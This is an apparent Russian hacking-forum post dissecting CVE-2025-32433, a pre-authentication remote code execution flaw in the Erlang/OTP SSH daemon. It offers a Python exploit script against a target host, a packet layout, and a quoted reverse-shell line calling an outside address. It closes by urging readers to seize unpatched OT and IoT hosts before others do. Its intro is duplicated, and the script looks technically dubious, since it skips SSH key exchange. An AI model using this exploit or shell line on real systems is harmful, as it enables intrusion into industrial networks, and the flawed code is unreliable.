- Регистрация
- 27 Фев 2025
- Сообщения
- 29
- Реакции
- 12
Всем привет. Решил скинуть разбор свежей дырки в Erlang/OTP SSH (CVE-2025-32433), пока ещё горячо.
В сети инфы мало, а то что есть — мёртвая пресс-релизная вода. Тут будет по-технарски, как я сам ковырял.
OTP (Erlang/OTP) юзают в разных телеком-и IoT-девайсах. В том числе в промышленных OT-системах, где никто не ожидает SSH-брехни.
В коде SSH-сервера есть место, где он принимает "channel request" пакеты с любым msg_code и до логина начинает их разбирать.
Разрабы думали: «Кто ж до аутентификации будет слать такой пакет?». Ну а мы-то знаем кто
По протоколу SSH (RFC 4253) коды сообщений < 50 — handshake/auth, > 50 — канал/exec. Тут же сервер обрабатывает и ≥ 80 (0x50), что обычно вообще не прилетает на этом этапе.
Если шлём что-то вроде:
он кидает это в хэндлер, который вызывает внутри ssh_daemon:exec_direct() ещё до того, как прошла проверка логина.
На уязвимой тачке появится /tmp/pwned без всякой авторизации.
Unit 42 писали, что видели:
Отдельно ржачно — видел образцы, где шелл обфусцирован в base64 внутри payload, а после расшифровки тащит GO-бинарник, который разворачивает AES-зашифрованный PE-шник прямо в RAM.
Дырка очень сладкая для атак на OT и IoT, потому что там никто не ждёт SSH-bruteforce, а тут вообще без логина.
Если успеете найти непатченный хост — можно закрепиться до того, как его кто-то другой отымеет.
В сети инфы мало, а то что есть — мёртвая пресс-релизная вода. Тут будет по-технарски, как я сам ковырял.
TL;DR
- Что: RCE до авторизации, SSH-демон Erlang/OTP
- Как: спец-пакет с кодом ≥ 0x50 (80)
- Почему круто: можно лезть туда, где даже ключи не нужны
- Рабочие версии: OTP 25.x, 26.x, 27.x (до патчей)
1. Что за фигня и откуда растёт
OTP (Erlang/OTP) юзают в разных телеком-и IoT-девайсах. В том числе в промышленных OT-системах, где никто не ожидает SSH-брехни.
В коде SSH-сервера есть место, где он принимает "channel request" пакеты с любым msg_code и до логина начинает их разбирать.
Разрабы думали: «Кто ж до аутентификации будет слать такой пакет?». Ну а мы-то знаем кто
2. Как триггерится
По протоколу SSH (RFC 4253) коды сообщений < 50 — handshake/auth, > 50 — канал/exec. Тут же сервер обрабатывает и ≥ 80 (0x50), что обычно вообще не прилетает на этом этапе.
Если шлём что-то вроде:
Код:
[SSH header]
byte: 0x50 (msg_code)
uint32: payload_len
[payload_data]
он кидает это в хэндлер, который вызывает внутри ssh_daemon:exec_direct() ещё до того, как прошла проверка логина.
3. Минимальный PoC
Вот пример на Python, чтобы зацепить RCE:
Python:
import socket, struct
host = "target.ip.addr"
port = 22
s = socket.socket()
s.connect((host, port))
# Пропускаем баннер
print(s.recv(1024))
s.send(b"SSH-2.0-ErlangOTPTest\r\n")
# Craft message with code 0x50
payload = b"touch /tmp/pwned\n"
pkt = struct.pack(">B", 0x50) + struct.pack(">I", len(payload)) + payload
s.send(pkt)
print("Sent exploit packet")
На уязвимой тачке появится /tmp/pwned без всякой авторизации.
4. Что юзают в дикой природе
Unit 42 писали, что видели:
- Bind-shell на 4444
- Reverse-shell типа /bin/bash -i >& /dev/tcp/X.X.X.X/6667 0>&1
- Через пару часов после компромата — уже lateral movement в соседние OT-узлы.
Отдельно ржачно — видел образцы, где шелл обфусцирован в base64 внутри payload, а после расшифровки тащит GO-бинарник, который разворачивает AES-зашифрованный PE-шник прямо в RAM.
5. Как прикрыться (если вдруг админы читают)
- Патчиться: OTP >= 27.3.3, 26.2.5.11, 25.3.2.20
- Закрывать 22 порт наружу — и точка
- WAF/IDS с правилом на SSH-msg_code >= 0x50 до логина
- Мониторить любые коннекты с кодами, которых в норме не бывает
6. Вывод
Дырка очень сладкая для атак на OT и IoT, потому что там никто не ждёт SSH-bruteforce, а тут вообще без логина.
Если успеете найти непатченный хост — можно закрепиться до того, как его кто-то другой отымеет.